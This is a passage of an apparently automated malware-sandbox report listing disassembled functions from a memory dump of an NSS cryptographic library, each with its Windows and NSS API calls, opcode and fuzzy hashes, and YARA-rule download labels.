Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 4537ef062a914c958cb93745fada7c9f967ffd385267b64e16fdcf6229127b2c
Instruction ID: 2716a87c258ba8d390a423f916f83f27131af633e243c885f899f7312374fd66
Opcode Fuzzy Hash: 4537ef062a914c958cb93745fada7c9f967ffd385267b64e16fdcf6229127b2c
Instruction Fuzzy Hash: B001F1727002209FE6209F299C45E2773B8EB45A09B06446EEA49D3B42F761FC15C6E1

Function 6CC79C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CC79CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CC79D45
EnterCriticalSection.KERNEL32(?), ref: 6CC79D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CC79DDE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ac31067b96d710e47a008e3c4f75e7c9e84760bc031f73c84ba8682613eb3124
Instruction ID: 67714444be150fb90309f9e63fd65ea85a5a21bb7b9c6ef9ad634b0363108fed
Opcode Fuzzy Hash: ac31067b96d710e47a008e3c4f75e7c9e84760bc031f73c84ba8682613eb3124
Instruction Fuzzy Hash: C4A193317045048BEF29AF65E98976E3776FB83319F18412DD40A47B40EB39E856CBA2

Function 6CD01E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CD01ECC

Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90AB
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90C9
Part of subcall function 6CDA9090: EnterCriticalSection.KERNEL32 ref: 6CDA90E5
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9116
Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA913F

TlsGetValue.KERNEL32 ref: 6CD01EDF
EnterCriticalSection.KERNEL32(?), ref: 6CD01EEF
PR_ExitMonitor.NSS3(?), ref: 6CD01F37
PR_Unlock.NSS3(?), ref: 6CD01F44

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 38797236bdf0bd533950e91cc8dff58acc6305c0fcfb670fc7a7c47222ec6b53
Instruction ID: 14b5b240c570c28d8120e1dec451a38f23196cdedba2c11e8c204f59c6de5852
Opcode Fuzzy Hash: 38797236bdf0bd533950e91cc8dff58acc6305c0fcfb670fc7a7c47222ec6b53
Instruction Fuzzy Hash: 60719172A043019FD710CF29D840A5ABBF5FF8935CF144929E8A993B21E731F959CB92

Function 6CD8DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD8DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CD8DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CD8DE77

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 8b5ef74e6fd62f1b588fbc751f7d60b40864d33819a1f7f87e09a28859b16e08
Instruction ID: 1b2d0c6d3d79f5ba805999c1b09052847c3f6377c5e8221c4de239cd9d0b5725
Opcode Fuzzy Hash: 8b5ef74e6fd62f1b588fbc751f7d60b40864d33819a1f7f87e09a28859b16e08
Instruction Fuzzy Hash: 4C716871A0131ACFDB10CF9AC580A89B7F4BF89718F25816ED9996B7A5D730E901CF90

Function 6CCFDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CCFAB10: DeleteCriticalSection.KERNEL32(D958E852,6CD01397,5B5F5EC0,?,?,6CCFB1EE,2404110F,?,?), ref: 6CCFAB3C
Part of subcall function 6CCFAB10: free.MOZGLUE(D958E836,?,6CCFB1EE,2404110F,?,?), ref: 6CCFAB49
Part of subcall function 6CCFAB10: DeleteCriticalSection.KERNEL32(5D5E6CEF), ref: 6CCFAB5C
Part of subcall function 6CCFAB10: free.MOZGLUE(5D5E6CE3), ref: 6CCFAB63
Part of subcall function 6CCFAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CCFAB6F
Part of subcall function 6CCFAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CCFAB76

TlsGetValue.KERNEL32(?,?,6CCFB266,6CD015C6,?,?,6CD015C6), ref: 6CCFDFDA
EnterCriticalSection.KERNEL32(?,?,?,6CCFB266,6CD015C6,?,?,6CD015C6), ref: 6CCFDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CCFB266,6CD015C6,?,?,6CD015C6), ref: 6CCFE029
PK11_IsLoggedIn.NSS3 ref: 6CCFE046

Part of subcall function 6CD08F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CD08FAF
Part of subcall function 6CD08F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CD08FD1
Part of subcall function 6CD08F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CD08FFA
Part of subcall function 6CD08F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CD09013
Part of subcall function 6CD08F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CD09042
Part of subcall function 6CD08F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CD0905A
Part of subcall function 6CD08F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CD09073
Part of subcall function 6CD08F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CCFDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CD09111

PR_Unlock.NSS3(?,?,?,?,6CCFB266,6CD015C6,?,?,6CD015C6), ref: 6CCFE149

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: bb33d729f1772e30c1c7d1ef731e6217307e0abf5504dfd0e4edcb8883cf30be
Instruction ID: e1019330e398e1cc5c3718d5abf23f44448df70c676be72b347a57bd7d4caa21
Opcode Fuzzy Hash: bb33d729f1772e30c1c7d1ef731e6217307e0abf5504dfd0e4edcb8883cf30be
Instruction Fuzzy Hash: CE515870600711CFDB50EF29C48476ABBF0BF85308F15896CD8A98B751E731E886CB92

Function 6CD0BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CD0BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD0BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCE9F71,?,?,00000000), ref: 6CD0BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CD0BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD0C014

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: c5cbbcb1ed37411680a5e8661b45b07945d3a01391fcfd4f8ba8dd46b0f3ce5b
Instruction ID: 4794c675bf5bede3357adcd9ba7f6ac438c4afa94e33d3c61070ad34e7abbae6
Opcode Fuzzy Hash: c5cbbcb1ed37411680a5e8661b45b07945d3a01391fcfd4f8ba8dd46b0f3ce5b
Instruction Fuzzy Hash: E541B471B05205EBEB00DF69C844BAA77F9EF45248F204128D918D7BA1FB32D905CBA1

Function 6CCDEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CCDEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CCDEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CCDEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCDEEEB
free.MOZGLUE(?), ref: 6CCDEEF6

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 0bc027cf9e91c39b7a3ac926d81929ae634ef226d52348724a8aa28e6922a21b
Instruction ID: 21654f54ca1679a5dcc8880c674781e03e28a46199a4ac55cae94138037813a5
Opcode Fuzzy Hash: 0bc027cf9e91c39b7a3ac926d81929ae634ef226d52348724a8aa28e6922a21b
Instruction Fuzzy Hash: D531C471A006029BE720AF29CC44766BBF4FB46319F16062DEA5A87E50F731F815CBE1

Function 6CCF1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CCF1F1C

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CE09EBC), ref: 6CCF1FB8
SEC_ASN1EncodeItem_Util.NSS3(6CE09E9C,?,?,6CE09E9C), ref: 6CCF200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CCF2020

Part of subcall function 6CCE6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CCEAD50,?,?), ref: 6CCE6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CCF2030

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 76bf8684c81928c74fbeffeb769e29b468351b971d7a136f6d5b6b9713244486
Instruction ID: aaadccf29cf62cffc7e88d42c62f3f6183322a94cfd222de5d5d8425eb4b45d2
Opcode Fuzzy Hash: 76bf8684c81928c74fbeffeb769e29b468351b971d7a136f6d5b6b9713244486
Instruction Fuzzy Hash: 3121A5B6901516ABE7418F19DC40FAA7768FF4631CF240215E93896B90F732E52AC7B1

Function 6CD21EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CD06295,?,00000000,00000000,00000001,6CD22653,?), ref: 6CD21ECB

Part of subcall function 6CD8C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD8C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CD06295,?,00000000,00000000,00000001,6CD22653,?), ref: 6CD21EF1
EnterCriticalSection.KERNEL32(?), ref: 6CD21F01
PR_SetError.NSS3(00000000,00000000), ref: 6CD21F39

Part of subcall function 6CD2FE20: TlsGetValue.KERNEL32(6CD05ADC,?,00000000,00000001,?,?,00000000,?,6CCFBA55,?,?), ref: 6CD2FE4B
Part of subcall function 6CD2FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CD2FE5F

PR_Unlock.NSS3(?), ref: 6CD21F67

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: 23f15f11866662cf5075408719414f7ba15af49cd97159c19040e4afe8d85db8
Instruction ID: fdfdcb993bc5f88caa56a05b4095a298713b260cdd00fefe0814dec1e43adbc9
Opcode Fuzzy Hash: 23f15f11866662cf5075408719414f7ba15af49cd97159c19040e4afe8d85db8
Instruction Fuzzy Hash: B5210972A00114ABDB109F29DC44F9A37A9AF4136CF158525FE1887721E736ED54C6E1

Function 6CCE1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CCE1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CCE1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCE1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CCE1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CCE1EAD

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: e5e5819c1b2eaece2514c4e94067d5c88af79873be0f862ef3b22cbd2ac54b7d
Instruction ID: 1c620ffd20e8e68ace4e61c7b7769dcb2af9d20f91b69ad464cbebea3a21047c
Opcode Fuzzy Hash: e5e5819c1b2eaece2514c4e94067d5c88af79873be0f862ef3b22cbd2ac54b7d
Instruction Fuzzy Hash: FE212572E04314A7D7008F6DDC44B9BB3A4AB8A328F148638FD5957792F730D96887E2

Function 6CDF1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CDF1E5C

Part of subcall function 6CDA9BF0: TlsGetValue.KERNEL32(?,?,?,6CDF0A75), ref: 6CDA9C07

PR_Lock.NSS3(00000000), ref: 6CDF1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CDF1EAB
PR_GetCurrentThread.NSS3 ref: 6CDF1ED0
PR_Unlock.NSS3(?), ref: 6CDF1EE8

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 63242c2fd8c43245f64c0b967a934833351cf9a5ad7751e673b9bc928a667553
Instruction ID: 20a1a77e7288ccbe14a5a2cd81974d8c5799e5a984dc41fc6ee64c84eab1d332
Opcode Fuzzy Hash: 63242c2fd8c43245f64c0b967a934833351cf9a5ad7751e673b9bc928a667553
Instruction Fuzzy Hash: B221D0F4A05612EFD700CF19D880A56B7B0FF44728B268229D8298BB60D331FC26CBD1

Function 6CD3BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CCEE708,00000000,00000000,00000004,00000000), ref: 6CD3BE6A

Part of subcall function 6CD40840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CD408B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CCF04DC,?), ref: 6CD3BE7E

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CD3BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CCF04DC,?,?), ref: 6CD3BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CD3BEEB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e1c6f79aede880b3f79ea36e61820cec305e19294d0fbf9b28c29e8e4cf91740
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 4B110BA6604A35B7E7008B699C80F5773AD9B83758F046125FE4C96BF1E772D80487F1

Function 6CCEAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CCE3FFF,00000000,?,?,?,?,?,6CCE1A1C,00000000,00000000), ref: 6CCEADA7

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CCE3FFF,00000000,?,?,?,?,?,6CCE1A1C,00000000,00000000), ref: 6CCEADB4

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CCE3FFF,?,?,?,?,6CCE3FFF,00000000,?,?,?,?,?,6CCE1A1C,00000000), ref: 6CCEADD5

Part of subcall function 6CD3FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CD38D2D,?,00000000,?), ref: 6CD3FB85
Part of subcall function 6CD3FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CD3FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CE094B0,?,?,?,?,?,?,?,?,6CCE3FFF,00000000,?), ref: 6CCEADEC

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCE3FFF), ref: 6CCEAE3C

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: f96f7691aa340dd9a08383cdca778023a6d8effdc125b7b255f10291b6d054b3
Instruction ID: ecc6d313a14adb7b248f1e0cbc9d79f3554e685ac179cc191a7ef3868e8f596a
